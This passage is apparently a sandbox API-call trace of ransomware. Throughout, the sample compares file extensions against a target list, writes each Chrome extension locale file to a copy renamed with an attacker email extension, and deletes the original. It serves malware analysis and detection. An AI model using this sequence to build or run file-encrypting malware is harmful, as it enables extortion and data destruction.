returned 5 [0175.180] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.180] lstrlenW (lpString=".ppt") returned 4 [0175.180] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.180] lstrlenW (lpString=".zip") returned 4 [0175.180] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.180] lstrlenW (lpString=".rar") returned 4 [0175.180] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.180] lstrlenW (lpString=".bz2") returned 4 [0175.180] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.180] lstrlenW (lpString=".7z") returned 3 [0175.180] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.180] lstrlenW (lpString=".dbf") returned 4 [0175.180] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.180] lstrlenW (lpString=".1cd") returned 4 [0175.180] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.180] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 151 [0175.180] lstrlenW (lpString=".jpg") returned 4 [0175.180] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.181] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.181] lstrlenW (lpString="messages.json") returned 13 [0175.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.181] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=216) returned 1 [0175.181] CloseHandle (hObject=0x1ac) returned 1 [0175.181] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json")) returned 0x2020 [0175.181] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.182] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.182] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.182] GetLastError () returned 0x0 [0175.182] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd8, lpOverlapped=0x0) returned 1 [0175.183] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.184] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.184] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.184] SetEndOfFile (hFile=0x1b4) returned 1 [0175.185] CloseHandle (hObject=0x1b4) returned 1 [0175.185] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.185] SetEndOfFile (hFile=0x1ac) returned 1 [0175.185] CloseHandle (hObject=0x1ac) returned 1 [0175.186] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.186] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json")) returned 1 [0175.186] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.186] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.186] lstrlenW (lpString=".doc") returned 4 [0175.186] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.186] lstrlenW (lpString=".docx") returned 5 [0175.186] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.186] lstrlenW (lpString=".pdf") returned 4 [0175.186] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.186] lstrlenW (lpString=".xls") returned 4 [0175.186] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.186] lstrlenW (lpString=".xlsx") returned 5 [0175.186] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.186] lstrlenW (lpString=".ppt") returned 4 [0175.186] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.186] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.186] lstrlenW (lpString=".zip") returned 4 [0175.187] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.187] lstrlenW (lpString=".rar") returned 4 [0175.187] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.187] lstrlenW (lpString=".bz2") returned 4 [0175.187] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.187] lstrlenW (lpString=".7z") returned 3 [0175.187] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.187] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.187] lstrlenW (lpString=".dbf") returned 4 [0175.187] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.187] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.187] lstrlenW (lpString=".1cd") returned 4 [0175.187] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.187] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.187] lstrlenW (lpString=".jpg") returned 4 [0175.187] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.187] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.187] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.187] lstrlenW (lpString=".doc") returned 4 [0175.187] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.187] lstrlenW (lpString=".docx") returned 5 [0175.187] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.187] lstrlenW (lpString=".pdf") returned 4 [0175.187] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.187] lstrlenW (lpString=".xls") returned 4 [0175.187] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.187] lstrlenW (lpString=".xlsx") returned 5 [0175.188] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.188] lstrlenW (lpString=".ppt") returned 4 [0175.188] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.188] lstrlenW (lpString=".zip") returned 4 [0175.188] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.188] lstrlenW (lpString=".rar") returned 4 [0175.188] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.188] lstrlenW (lpString=".bz2") returned 4 [0175.188] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.188] lstrlenW (lpString=".7z") returned 3 [0175.188] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.188] lstrlenW (lpString=".dbf") returned 4 [0175.188] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.188] lstrlenW (lpString=".1cd") returned 4 [0175.188] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 151 [0175.188] lstrlenW (lpString=".jpg") returned 4 [0175.188] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.188] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.188] lstrlenW (lpString="messages.json") returned 13 [0175.188] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.189] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=215) returned 1 [0175.189] CloseHandle (hObject=0x1ac) returned 1 [0175.189] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json")) returned 0x2020 [0175.189] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.189] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.189] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0175.190] GetLastError () returned 0x0 [0175.190] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd7, lpOverlapped=0x0) returned 1 [0175.191] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0175.192] ReadFile (in: hFile=0x1ac, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.192] WriteFile (in: hFile=0x1b4, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.192] SetEndOfFile (hFile=0x1b4) returned 1 [0175.192] CloseHandle (hObject=0x1b4) returned 1 [0175.192] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.192] SetEndOfFile (hFile=0x1ac) returned 1 [0175.193] CloseHandle (hObject=0x1ac) returned 1 [0175.193] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.193] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json")) returned 1 [0175.194] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.194] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.194] lstrlenW (lpString=".doc") returned 4 [0175.194] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.194] lstrlenW (lpString=".docx") returned 5 [0175.194] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.194] lstrlenW (lpString=".pdf") returned 4 [0175.194] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.194] lstrlenW (lpString=".xls") returned 4 [0175.194] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.194] lstrlenW (lpString=".xlsx") returned 5 [0175.194] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.194] lstrlenW (lpString=".ppt") returned 4 [0175.194] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.194] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.194] lstrlenW (lpString=".zip") returned 4 [0175.194] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.194] lstrlenW (lpString=".rar") returned 4 [0175.194] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.194] lstrlenW (lpString=".bz2") returned 4 [0175.194] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.194] lstrlenW (lpString=".7z") returned 3 [0175.194] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.195] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.195] lstrlenW (lpString=".dbf") returned 4 [0175.195] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.195] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.195] lstrlenW (lpString=".1cd") returned 4 [0175.195] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.195] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.195] lstrlenW (lpString=".jpg") returned 4 [0175.195] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.195] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.195] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.195] lstrlenW (lpString=".doc") returned 4 [0175.195] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.195] lstrlenW (lpString=".docx") returned 5 [0175.195] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.195] lstrlenW (lpString=".pdf") returned 4 [0175.195] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.195] lstrlenW (lpString=".xls") returned 4 [0175.195] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.195] lstrlenW (lpString=".xlsx") returned 5 [0175.195] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.195] lstrlenW (lpString=".ppt") returned 4 [0175.195] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.195] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.195] lstrlenW (lpString=".zip") returned 4 [0175.195] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.195] lstrlenW (lpString=".rar") returned 4 [0175.195] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.195] lstrlenW (lpString=".bz2") returned 4 [0175.196] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.196] lstrlenW (lpString=".7z") returned 3 [0175.196] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.196] lstrlenW (lpString=".dbf") returned 4 [0175.196] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.196] lstrlenW (lpString=".1cd") returned 4 [0175.196] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.196] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 151 [0175.196] lstrlenW (lpString=".jpg") returned 4 [0175.196] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.196] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.196] lstrlenW (lpString="messages.json") returned 13 [0175.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0175.197] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=245) returned 1 [0175.197] CloseHandle (hObject=0x1ac) returned 1 [0175.197] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json")) returned 0x2020 [0175.197] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 